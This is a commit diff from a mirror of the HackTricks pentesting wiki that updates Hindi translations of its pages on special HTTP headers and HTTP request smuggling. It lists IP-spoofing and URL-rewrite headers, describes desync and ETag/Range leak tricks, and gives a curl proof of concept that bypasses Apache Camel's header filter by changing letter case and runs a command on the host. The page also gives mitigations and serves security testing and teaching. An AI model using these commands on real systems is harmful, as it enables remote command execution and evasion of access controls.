maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

Browse Source
This commit is contained in:
Translator 2025-09-05 11:16:06 +00:00
parent 62f1040ba8
commit 9ec1c63511
3 changed files with 321 additions and 291 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

169
src/network-services-pentesting/pentesting-web/special-http-headers.md
View File

@ -1,15 +1,15 @@
# विशेष HTTP हेडर
# विशेष HTTP हेडर्स
{{#include ../../banners/hacktricks-training.md}}
## वर्डलिस्ट और उपकरण
## वर्डलिस्ट्स & टूल्स
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## स्थान बदलने के लिए हेडर
## स्थान बदलने वाले हेडर्स
**IP स्रोत** को फिर से लिखें:
IP स्रोत को बदलें:
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -26,110 +26,132 @@
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (हॉप-बाय-हॉप हेडर की जांच करें)
- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
**स्थान** को फिर से लिखें:
स्थान पुनर्लेखन:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## हॉप-बाय-हॉप हेडर
## Hop-by-Hop हेडर्स
एक हॉप-बाय-हॉप हेडर एक हेडर है जिसे वर्तमान में अनुरोध को संभालने वाले प्रॉक्सी द्वारा संसाधित और उपभोग करने के लिए डिज़ाइन किया गया है, न कि एक एंड-टू-एंड हेडर।
Hop-by-hop header एक ऐसा header है जिसे वर्तमान में request को संभाल रहे proxy द्वारा प्रोसेस और उपयोग करने के लिए बनाया गया है, न कि एक end-to-end header की तरह।
- `Connection: close, X-Forwarded-For`
{{#ref}}
../../pentesting-web/abusing-hop-by-hop-headers.md
{{#endref}}
## HTTP अनुरोध स्मगलिंग
## HTTP Request Smuggling
- `Content-Length: 30`
- `Transfer-Encoding: chunked`
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## कैश हेडर
## Expect हेडर
**सर्वर कैश हेडर**:
क्लाइंट `Expect: 100-continue` हेडर भेज सकता है और फिर सर्वर `HTTP/1.1 100 Continue` के साथ जवाब दे सकता है ताकि क्लाइंट request का body भेजना जारी रख सके। हालाँकि, कुछ proxies इस हेडर को पसंद नहीं करते।
`Expect: 100-continue` के रोचक परिणाम:
- HEAD request में body भेजने पर सर्वर ने यह ध्यान नहीं रखा कि HEAD requests में आमतौर पर body नहीं होती, और कनेक्शन तब तक खुला रखा जब तक timeout नहीं हुआ।
- कुछ सर्वरों ने अजीब डेटा भेजा: response में socket से पढ़ा गया random data, secret keys या यहां तक कि इससे front-end को header values हटाने से रोका जा सकता था।
- इससे एक `0.CL` desync भी हुआ क्योंकि backend ने 100 की जगह 400 response दिया, लेकिन proxy front-end body भेजने के लिए तैयार था, तो उसने body भेज दी और backend ने इसे एक नए request के रूप में लिया।
- `Expect: y 100-continue` जैसी वैरिएशन ने भी `0.CL` desync पैदा किया।
- एक समान गलती में जहाँ backend ने 404 से जवाब दिया, उसने `CL.0` desync जेनरेट किया क्योंकि malicious request में एक `Content-Length` दर्शाया गया था, तो backend malicious request + अगले request (victim) के `Content-Length` बाइट्स भी भेज देता है; इससे queue में desync होता है क्योंकि backend ने malicious request के लिए 404 भेज दिया + victim request का response, पर front-end ने माना कि केवल 1 request ही भेजा गया था, इसलिए दूसरा response दूसरे victim को भेज दिया गया और उसके response ने अगले को भेजा...
HTTP Request Smuggling के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../../pentesting-web/http-request-smuggling/
{{#endref}}
## Cache हेडर्स
**सर्वर कैश हेडर्स**:
- **`X-Cache`** response में मान के रूप में **`miss`** दिखा सकता है जब request cached नहीं था और **`hit`** जब यह cached था।
- समान व्यवहार header **`Cf-Cache-Status`** में भी देखा जा सकता है।
- **`Cache-Control`** बताता है कि कोई resource cache किया जा रहा है और अगली बार कब तक वह resource cached रहेगा: `Cache-Control: public, max-age=1800`
- **`Vary`** अक्सर response में उन अतिरिक्त headers को सूचित करने के लिए इस्तेमाल होता है जिन्हें cache key का हिस्सा माना जाता है, भले ही वे सामान्यतः cache key में शामिल न हों।
- **`Age`** उस समय को सेकेंड में परिभाषित करता है जो ऑब्जेक्ट proxy cache में रहा है।
- **`Server-Timing: cdn-cache; desc=HIT`** भी संकेत देता है कि कोई resource cached था।
- **`X-Cache`** में प्रतिक्रिया का मान **`miss`** हो सकता है जब अनुरोध कैश नहीं किया गया था और मान **`hit`** हो सकता है जब इसे कैश किया गया है
- हेडर **`Cf-Cache-Status`** में समान व्यवहार
- **`Cache-Control`** यह संकेत करता है कि क्या एक संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
- **`Vary`** अक्सर प्रतिक्रिया में **अतिरिक्त हेडर** को **कैश कुंजी का हिस्सा** के रूप में संकेत करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों।
- **`Age`** उस समय को परिभाषित करता है जो वस्तु प्रॉक्सी कैश में रही है।
- **`Server-Timing: cdn-cache; desc=HIT`** यह भी संकेत करता है कि एक संसाधन कैश किया गया था
{{#ref}}
../../pentesting-web/cache-deception/
{{#endref}}
**स्थानीय कैश हेडर**:
**लोकल कैश हेडर्स**:
- `Clear-Site-Data`: हेडर जो संकेत करता है कि कैश को हटाया जाना चाहिए: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: उस दिनांक/समय को शामिल करता है जब प्रतिक्रिया समाप्त होनी चाहिए: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` `Cache-Control: no-cache` के समान
- `Warning`: **`Warning`** सामान्य HTTP हेडर संदेश की स्थिति के साथ संभावित समस्याओं के बारे में जानकारी प्रदान करता है। एक प्रतिक्रिया में एक से अधिक `Warning` हेडर दिखाई दे सकते हैं। `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Clear-Site-Data`: कैश जो हटाना चाहिए उसे सूचित करने वाला हेडर: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: response के expire होने की date/time बताता है: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` का व्यवहार `Cache-Control: no-cache` के समान है
- `Warning`: सामान्य HTTP header `Warning` संदेश की स्थिति में संभावित समस्याओं के बारे में जानकारी रखता है। response में एक से ज्यादा `Warning` header दिख सकते हैं। उदाहरण: `Warning: 110 anderson/1.3.37 "Response is stale"`
## शर्तें
## Conditionals
- इन हेडरों का उपयोग करने वाले अनुरोध: **`If-Modified-Since`** और **`If-Unmodified-Since`** केवल तब डेटा के साथ उत्तर दिया जाएगा जब प्रतिक्रिया हेडर **`Last-Modified`** में एक अलग समय हो।
- **`If-Match`** और **`If-None-Match`** का उपयोग करने वाले शर्तीय अनुरोध एक Etag मान का उपयोग करते हैं ताकि वेब सर्वर प्रतिक्रिया की सामग्री भेजे यदि डेटा (Etag) बदल गया है। `Etag` HTTP प्रतिक्रिया से लिया जाता है।
- **Etag** मान आमतौर पर प्रतिक्रिया की **सामग्री** के आधार पर **गणना की जाती है**। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` यह संकेत करता है कि `Etag` **37 बाइट्स** का **Sha1** है।
- ऐसे requests जो इन headers का उपयोग करते हैं: **`If-Modified-Since`** और **`If-Unmodified-Since`** केवल तब डेटा के साथ उत्तर देंगे जब response header **`Last-Modified`** में समय अलग हो।
- Conditional requests जो **`If-Match`** और **`If-None-Match`** का उपयोग करते हैं, वे Etag वैल्यू का उपयोग करते हैं ताकि web server response का content तभी भेजे जब डेटा (Etag) बदल गया हो। `Etag` HTTP response से लिया जाता है।
- **Etag** मान आमतौर पर response की सामग्री पर आधारित होता है। उदाहरण के लिए, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` सूचित करता है कि `Etag` 37 bytes का Sha1 है।
## रेंज अनुरोध
## Range requests
- **`Accept-Ranges`**: संकेत करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
- **`Range`**: उस दस्तावेज़ के भाग को इंगित करता है जिसे सर्वर को लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल प्रतिक्रिया के 80 से 100 बाइट्स को 206 Partial Content स्थिति कोड के साथ लौटाएगा। अनुरोध से `Accept-Encoding` हेडर को हटाना भी याद रखें।
- यह एक प्रतिक्रिया प्राप्त करने के लिए उपयोगी हो सकता है जिसमें मनमाने रूप से परावर्तित जावास्क्रिप्ट कोड हो जो अन्यथा बचाया जा सकता है। लेकिन इसका दुरुपयोग करने के लिए आपको अनुरोध में ये हेडर इंजेक्ट करने की आवश्यकता होगी।
- **`If-Range`**: एक शर्तीय रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाती है। इसका उपयोग संसाधन के असंगत संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए किया जाता है।
- **`Content-Range`**: यह इंगित करता है कि एक पूर्ण शरीर संदेश में एक आंशिक संदेश कहाँ संबंधित है।
- **`Accept-Ranges`**: यह बताता है कि server range requests को सपोर्ट करता है या नहीं, और अगर करता है तो किस unit में range व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
- **`Range`**: यह उस document के हिस्से को दर्शाता है जिसे server को लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल response के बाइट 80 से 100 तक लौटायेगा और status code 206 Partial Content देगा। साथ ही, याद रखें request से `Accept-Encoding` header हटाना।
- यह उपयोगी हो सकता है जब आपको arbitrary reflected javascript code एक response में चाहिए जो अन्यथा escaped होता; लेकिन इसे abuse करने के लिए आपको request में ये headers inject करने होंगे।
- **`If-Range`**: यह एक conditional range request बनाता है जो केवल तभी पूरा किया जाता है जब दिया गया etag या date remote resource से मेल खाता हो। यह दो incompatible संस्करणों से दो ranges डाउनलोड होने से रोकने के लिए उपयोग होता है।
- **`Content-Range`**: यह बताता है कि partial message किस हिस्से में एक full body message में स्थित है।
## संदेश शरीर की जानकारी
## Message body information
- **`Content-Length`:** संसाधन का आकार, दशमलव संख्या में बाइट्स।
- **`Content-Type`**: संसाधन के मीडिया प्रकार को इंगित करता है
- **`Content-Encoding`**: संकुचन एल्गोरिदम को निर्दिष्ट करने के लिए उपयोग किया जाता है।
- **`Content-Language`**: मानव भाषा(ओं) का वर्णन करता है जो दर्शकों के लिए लक्षित है, ताकि यह उपयोगकर्ता को उनके अपने पसंदीदा भाषा के अनुसार भेद करने की अनुमति दे।
- **`Content-Location`**: लौटाए गए डेटा के लिए एक वैकल्पिक स्थान को इंगित करता है।
- **`Content-Length`:** resource का आकार, बाइट्स में दशमलव संख्या।
- **`Content-Type`**: resource का मीडिया प्रकार बताता है।
- **`Content-Encoding`**: compression algorithm निर्दिष्ट करने के लिए उपयोग होता है।
- **`Content-Language`**: दर्शकों के लिए इच्छित मानव भाषा(ओं) का वर्णन करता है, ताकि उपयोगकर्ता अपनी पसंदीदा भाषा के अनुसार अलग कर सकें।
- **`Content-Location`**: returned डेटा के लिए एक वैकल्पिक स्थान दर्शाता है।
पेंटेस्ट के दृष्टिकोण से यह जानकारी आमतौर पर "व्यर्थ" होती है, लेकिन यदि संसाधन **401** या **403** द्वारा **संरक्षित** है और आप इस **जानकारी** को **प्राप्त करने** का कोई **तरीका** खोज सकते हैं, तो यह **दिलचस्प** हो सकता है।\
उदाहरण के लिए, एक HEAD अनुरोध में **`Range`** और **`Etag`** का संयोजन पृष्ठ की सामग्री को HEAD अनुरोधों के माध्यम से लीक कर सकता है:
pentest दृष्टिकोण से यह जानकारी आम तौर पर "बेकार" होती है, लेकिन अगर resource **protected** है (401 या 403) और आप किसी तरह ये **info** हासिल कर पाते हैं, तो यह **interesting** हो सकता है.\
उदाहरण के लिए, एक HEAD request में **`Range`** और **`Etag`** के संयोजन से HEAD requests के माध्यम से पेज की सामग्री leak हो सकती है:
- `Range: bytes=20-20` हेडर के साथ एक अनुरोध और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` है यह लीक कर रहा है कि बाइट 20 का SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` है।
- एक request जिसमें header `Range: bytes=20-20` हो और response में `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` मौजूद हो, यह बताता है कि byte 20 का SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` है
## सर्वर जानकारी
## Server Info
- `Server: Apache/2.4.1 (Unix)`
- `X-Powered-By: PHP/5.3.3`
## नियंत्रण
## Controls
- **`Allow`**: यह हेडर यह संप्रेषित करने के लिए उपयोग किया जाता है कि एक संसाधन कौन से HTTP विधियों को संभाल सकता है। उदाहरण के लिए, इसे `Allow: GET, POST, HEAD` के रूप में निर्दिष्ट किया जा सकता है, जो इंगित करता है कि संसाधन इन विधियों का समर्थन करता है।
- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि अनुरोध को सफलतापूर्वक संसाधित करने के लिए सर्वर को जो अपेक्षाएँ पूरी करनी चाहिए, उन्हें संप्रेषित किया जा सके। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के साथ आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है।
- **`Allow`**: यह header बताने के लिए उपयोग होता है कि किसी resource को कौन-कौन से HTTP methods संभाल सकते हैं। उदाहरण: `Allow: GET, POST, HEAD`, जो संकेत देता है कि resource इन methods को सपोर्ट करता है।
- **`Expect`**: क्लाइंट द्वारा सर्वर से ऐसी अपेक्षाएँ बताने के लिए उपयोग होता है जिन्हें request को सफलतापूर्वक process करने के लिए पूरा करना जरूरी है। एक सामान्य उपयोग मामला `Expect: 100-continue` है, जो संकेत देता है कि क्लाइंट एक बड़ा डेटा payload भेजने का इरादा रखता है। क्लाइंट `100 (Continue)` response की प्रतीक्षा करता है इससे पहले कि वह transmission जारी रखे। यह network उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है।
## डाउनलोड
## Downloads
- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल **इनलाइन** (वेबपृष्ठ के भीतर) प्रदर्शित की जानी चाहिए या एक **संलग्नक** (डाउनलोड की गई) के रूप में व्यवहार किया जाना चाहिए। उदाहरण के लिए:
- HTTP responses में **`Content-Disposition`** header यह निर्देश देता है कि कोई फाइल **inline** (वेबपेज के भीतर) दिखायी जाए या उसे **attachment** (डाउनलोड) के रूप में माना जाए। उदाहरण के लिए:
```
Content-Disposition: attachment; filename="filename.jpg"
```
यह मतलब है कि "filename.jpg" नामक फ़ाइल को डाउनलोड और सहेजने के लिए डिज़ाइन किया गया है।
इसका मतलब है कि "filename.jpg" नामक फ़ाइल डाउनलोड करके सेव करने के लिए निर्दिष्ट है।
## सुरक्षा हेडर
### सामग्री सुरक्षा नीति (CSP) <a href="#csp" id="csp"></a>
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
{{#ref}}
../../pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
### **विश्वसनीय प्रकार**
### **Trusted Types**
CSP के माध्यम से विश्वसनीय प्रकारों को लागू करके, अनुप्रयोगों को DOM XSS हमलों से सुरक्षित किया जा सकता है। विश्वसनीय प्रकार यह सुनिश्चित करते हैं कि केवल विशेष रूप से तैयार किए गए ऑब्जेक्ट्स, जो स्थापित सुरक्षा नीतियों के अनुरूप हैं, खतरनाक वेब API कॉल में उपयोग किए जा सकते हैं, इस प्रकार डिफ़ॉल्ट रूप से JavaScript कोड को सुरक्षित करते हैं।
Trusted Types को CSP के माध्यम से लागू करने पर एप्लिकेशन को DOM XSS हमलों से सुरक्षित किया जा सकता है। Trusted Types यह सुनिश्चित करते हैं कि केवल खास तरह से बनाए गए ऑब्जेक्ट, जो स्थापित सुरक्षा नीतियों के अनुरूप हों, ही खतरनाक web API कॉल्स में उपयोग किए जाएं, और इस तरह JavaScript कोड डिफ़ॉल्ट रूप से सुरक्षित रहता है।
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -148,19 +170,19 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
यह हेडर MIME प्रकार की स्निफ़िंग को रोकता है, एक प्रथा जो XSS कमजोरियों की ओर ले जा सकती है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME प्रकारों का सम्मान करें।
यह हेडर MIME type sniffing को रोकता है, एक अभ्यास जो XSS vulnerabilities का कारण बन सकता है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME types का सम्मान करें।
```
X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
क्लिकजैकिंग से लड़ने के लिए, यह हेडर यह सीमित करता है कि दस्तावेज़ों को `<frame>`, `<iframe>`, `<embed>`, या `<object>` टैग में कैसे एम्बेड किया जा सकता है, सभी दस्तावेज़ों को उनकी एम्बेडिंग अनुमतियों को स्पष्ट रूप से निर्दिष्ट करने की सिफारिश करता है।
clickjacking से निपटने के लिए, यह header सीमित करता है कि दस्तावेज़ों को `<frame>`, `<iframe>`, `<embed>`, या `<object>` टैग्स में कैसे एम्बेड किया जा सकता है, और सभी दस्तावेज़ों को उनकी एम्बेडिंग अनुमतियाँ स्पष्ट रूप से निर्दिष्ट करने की सिफारिश करता है।
```
X-Frame-Options: DENY
```
### **Cross-Origin Resource Policy (CORP) और Cross-Origin Resource Sharing (CORS)**
CORP यह निर्दिष्ट करने के लिए महत्वपूर्ण है कि कौन से संसाधन वेबसाइटों द्वारा लोड किए जा सकते हैं, क्रॉस-साइट लीक को कम करते हुए। दूसरी ओर, CORS एक अधिक लचीला क्रॉस-ओरिजिन संसाधन साझा करने का तंत्र प्रदान करता है, कुछ शर्तों के तहत समान-उत्सर्जन नीति को ढीला करते हुए।
CORP यह निर्धारित करने के लिए महत्वपूर्ण है कि कौन से संसाधन वेबसाइटों द्वारा लोड किए जा सकते हैं, जिससे cross-site leaks कम होते हैं। CORS, दूसरी ओर, कुछ परिस्थितियों में same-origin policy को ढीला करते हुए एक अधिक लचीला cross-origin resource sharing mechanism प्रदान करता है।
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
@ -168,52 +190,53 @@ Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) और Cross-Origin Opener Policy (COOP)**
COEP और COOP क्रॉस-ओरिजिन आइसोलेशन को सक्षम करने के लिए आवश्यक हैं, जो स्पेक्ट्रे-जैसे हमलों के जोखिम को काफी कम करते हैं। वे क्रमशः क्रॉस-ओरिजिन संसाधनों के लोडिंग और क्रॉस-ओरिजिन विंडोज के साथ इंटरैक्शन को नियंत्रित करते हैं।
COEP और COOP cross-origin isolation सक्षम करने के लिए आवश्यक हैं, जो Spectre-like attacks के जोखिम को काफी कम करते हैं। ये क्रमशः cross-origin resources को लोड करने और cross-origin विंडो के साथ इंटरैक्शन को नियंत्रित करते हैं।
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
अंत में, HSTS एक सुरक्षा विशेषता है जो ब्राउज़रों को केवल सुरक्षित HTTPS कनेक्शनों के माध्यम से सर्वरों के साथ संवाद करने के लिए मजबूर करती है, इस प्रकार गोपनीयता और सुरक्षा को बढ़ाती है।
अंत में, HSTS एक सुरक्षा सुविधा है जो ब्राउज़रों को केवल सुरक्षित HTTPS कनेक्शनों पर सर्वरों के साथ संवाद करने के लिए मजबूर करती है, इस प्रकार गोपनीयता और सुरक्षा को बढ़ाती है।
```
Strict-Transport-Security: max-age=3153600
```
## Header Name Casing Bypass
## हेडर नाम केस बायपास
HTTP/1.1 header field‐names को **case-insensitive** के रूप में परिभाषित करता है (RFC 9110 §5.1)। फिर भी, यह बहुत सामान्य है कि कस्टम मिडलवेयर, सुरक्षा फ़िल्टर, या व्यावसायिक लॉजिक ऐसे *literal* हेडर नाम की तुलना करते हैं जो पहले casing को सामान्य किए बिना प्राप्त होते हैं (जैसे `header.equals("CamelExecCommandExecutable")`)। यदि ये जांचें **case-sensitively** की जाती हैं, तो एक हमलावर उन्हें बस एक अलग पूंजीकरण के साथ वही हेडर भेजकर बायपास कर सकता है।
HTTP/1.1 हेडर फील्ड-नामों को **case-insensitive** के रूप में परिभाषित करता है (RFC 9110 §5.1)। फिर भी, अक्सर कस्टम middleware, security filters, या business logic ऐसे मिलते हैं जो प्राप्त *literal* हेडर नाम की तुलना पहले केस सामान्यीकृत किये बिना करते हैं (उदा. `header.equals("CamelExecCommandExecutable")`)। यदि वह चेक्स **case-sensitively** किए जाते हैं, तो एक हमलावर बस हेडर का कैपिटलाइज़ेशन बदलकर उन्हें बायपास कर सकता है।
इस गलती के प्रकट होने वाली सामान्य स्थितियाँ:
Typical situations where this mistake appears:
* कस्टम अनुमति/निषेध सूचियाँ जो "खतरनाक" आंतरिक हेडर को ब्लॉक करने की कोशिश करती हैं इससे पहले कि अनुरोध एक संवेदनशील घटक तक पहुंचे।
* इन-हाउस कार्यान्वयन जो रिवर्स-प्रॉक्सी pseudo-headers (जैसे `X-Forwarded-For` sanitisation) का उपयोग करते हैं।
* फ्रेमवर्क जो प्रबंधन / डिबग एंडपॉइंट्स को उजागर करते हैं और प्रमाणीकरण या कमांड चयन के लिए हेडर नामों पर निर्भर करते हैं।
* Custom allow/deny lists that try to block “dangerous” internal headers before the request reaches a sensitive component.
* In-house implementations of reverse-proxy pseudo-headers (e.g. `X-Forwarded-For` sanitisation).
* Frameworks that expose management / debug endpoints and rely on header names for authentication or command selection.
### Abusing the bypass
1. एक हेडर की पहचान करें जो सर्वर-साइड पर फ़िल्टर या मान्य किया जाता है (उदाहरण के लिए, स्रोत कोड, दस्तावेज़, या त्रुटि संदेश पढ़कर)।
2. **विभिन्न casing** (mixed-case या upper-case) के साथ वही हेडर भेजें। क्योंकि HTTP स्टैक्स आमतौर पर हेडर को केवल *बाद में* सामान्यीकृत करते हैं जब उपयोगकर्ता कोड चल चुका होता है, इसलिए कमजोर जांच को छोड़ दिया जा सकता है।
3. यदि डाउनस्ट्रीम घटक हेडर को case-insensitive तरीके से मानता है (अधिकतर ऐसा ही होता है), तो यह हमलावर-नियंत्रित मान को स्वीकार करेगा।
1. Identify a header that is filtered or validated server-side (for example, by reading source code, documentation, or error messages).
2. Send the **same header with a different casing** (mixed-case or upper-case). Because HTTP stacks usually canonicalise headers only *after* user code has run, the vulnerable check can be skipped.
3. If the downstream component treats headers in a case-insensitive way (most do), it will accept the attacker-controlled value.
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
Apache Camel के कमजोर संस्करणों में *Command Center* रूट्स अविश्वसनीय अनुरोधों को ब्लॉक करने की कोशिश करते हैं `CamelExecCommandExecutable` और `CamelExecCommandArgs` हेडर को हटा कर। तुलना `equals()` के साथ की गई थी इसलिए केवल सटीक लोअरकेस नामों को हटाया गया।
In vulnerable versions of Apache Camel the *Command Center* routes try to block untrusted requests by stripping the headers `CamelExecCommandExecutable` and `CamelExecCommandArgs`. The comparison was done with `equals()` so only the exact lowercase names were removed.
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
हेडर `exec` घटक तक बिना फ़िल्टर किए पहुँचते हैं, जिसके परिणामस्वरूप कैमेल प्रक्रिया के विशेषाधिकारों के साथ दूरस्थ कमांड निष्पादन होता है।
हैडर बिना फ़िल्टर के `exec` कंपोनेंट तक पहुँचते हैं, जिसके परिणामस्वरूप Camel process की अनुमतियों के साथ remote command execution होता है।
### पहचान और शमन
### पहचान और निवारण
* सभी हेडर नामों को एकल केस (आमतौर पर लोअरकेस) में सामान्यीकृत करें **पहले** अनुमति/अस्वीकृति तुलना करने से।
* संदिग्ध डुप्लिकेट्स को अस्वीकार करें: यदि दोनों `Header:` और `HeAdEr:` मौजूद हैं, तो इसे एक विसंगति के रूप में मानें।
* सकारात्मक अनुमति-सूची का उपयोग करें जो **कैनोनिकलाइजेशन** के बाद लागू की जाती है।
* प्रबंधन अंत बिंदुओं को प्रमाणीकरण और नेटवर्क विभाजन के साथ सुरक्षित करें।
* सभी header नामों को एक ही case (आमतौर पर lowercase) में सामान्यीकृत करें, allow/deny तुलना करने से पहले।
* संदिग्ध डुप्लिकेट अस्वीकार करें: यदि दोनों `Header:` और `HeAdEr:` मौजूद हैं, तो इसे असामान्यता के रूप में मानें।
* एक positive allow-list का उपयोग करें जो canonicalisation के बाद लागू हो।
* प्रबंधन endpoints को प्रमाणीकरण और नेटवर्क विभाजन के साथ सुरक्षित करें।
## संदर्भ
## References
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)

440
src/pentesting-web/http-request-smuggling/README.md
View File

@ -5,60 +5,77 @@
## यह क्या है
यह भेद्यता तब उत्पन्न होती है जब front-end proxies और back-end सर्वर के बीच एक desynchronization होती है जो एक attacker को ऐसा HTTP request भेजने की अनुमति देती है जिसे front-end proxies (load balance/reverse-proxy) द्वारा एक single request के रूप में और back-end सर्वर द्वारा 2 request के रूप में interpret किया जाता है।\
इससे एक user अगले request को modify कर सकता है जो उसके बाद back-end server तक पहुँचती है।
यह vulnerability तब होता है जब **desyncronization** **front-end proxies** और **back-end** server के बीच होता है, जिससे एक **attacker** एक ऐसा HTTP **request** भेज सकता है जिसे **front-end** proxies (load balance/reverse-proxy) द्वारा **एक ही request** के रूप में **interpreted** किया जाता है और **back-end** server द्वारा **2 request** के रूप में।\
इससे attacker को यह अनुमति मिलती है कि वह **उसके बाद back-end server को पहुँचने वाले अगले request को modify** कर सके।
### सिद्धांत
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
> यदि कोई संदेश Transfer-Encoding header field और Content-Length header field दोनों के साथ प्राप्त होता है, तो बाद वाले को अनदेखा किया जाना चाहिए।
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
**Content-Length**
> Content-Length entity header दर्शाता है कि entity-body का आकार, बाइट्स में, recipient को भेजा गया है।
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
**Transfer-Encoding: chunked**
> Transfer-Encoding header payload body को सुरक्षित रूप से transfer करने के लिए उपयोग किए जाने वाले encoding के रूप को निर्दिष्ट करता है।\
> Chunked का अर्थ है कि बड़े डेटा को chunks की एक श्रृंखला में भेजा जाता है।
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks
### वास्तविकता
Front-End (एक load-balance / Reverse Proxy) एक header (Content-Length या Transfer-Encoding) को process करता है और Back-end server दूसरे header को process करता है, जिससे दोनों प्रणालियों के बीच desynchronization होता है।\
यह बहुत गंभीर हो सकता है क्योंकि एक attacker reverse proxy को एक ऐसा request भेज सकेगा जिसे back-end server दो अलग requests के रूप में interpret करेगा। इस तकनीक का खतरा इस बात में है कि back-end server द्वारा inject की गई दूसरी request को ऐसा माना जाएगा मानो वह अगले client से आई हो और उस client का वास्तविक request inject की गई request का हिस्सा बन जाएगा।
**Front-End** (एक load-balance / Reverse Proxy) _**content-length**_ या _**transfer-encoding**_ header को process करता है और **Back-end** server दूसरे header को process करता है, जिससे दोनों सिस्टम्स के बीच **desyncronization** पैदा हो जाती है।\
यह बहुत गंभीर हो सकता है क्योंकि **attacker एक ऐसा request भेज पाएगा** जिसे reverse proxy एक ही request के रूप में देखेगा जबकि **back-end** server उसे **2 अलग request** के रूप में interpret कर सकता है। इस तकनीक का खतरा इस बात में है कि **back-end** server दूसरी injected request को ऐसे ही समझेगा जैसे वह **अगले client** से आई हो और उस client का असली request injected request का हिस्सा बन जाएगा।
### विशेषताएँ
याद रखें कि HTTP में एक new line character 2 बाइट्स से बना होता है:
याद रखें कि HTTP में **नया लाइन character 2 bytes से बनता है:**
- **Content-Length**: यह header request के body के bytes की संख्या बताने के लिए **दशमलव संख्या** का उपयोग करता है। body अपेक्षित रूप से आखिरी character पर खत्म होती है, **request के अंत में नया लाइन आवश्यक नहीं है**।
- **Transfer-Encoding:** यह header body में अगले chunk के byte की संख्या बताने के लिए **हैक्साडेसिमल संख्या** का उपयोग करता है। **chunk** को एक **नया लाइन** के साथ समाप्त होना चाहिए लेकिन यह नया लाइन length indicator में **गिना नहीं जाता**। इस transfer method को `0` size के chunk और उसके बाद **2 new lines** के साथ खत्म करना चाहिए।
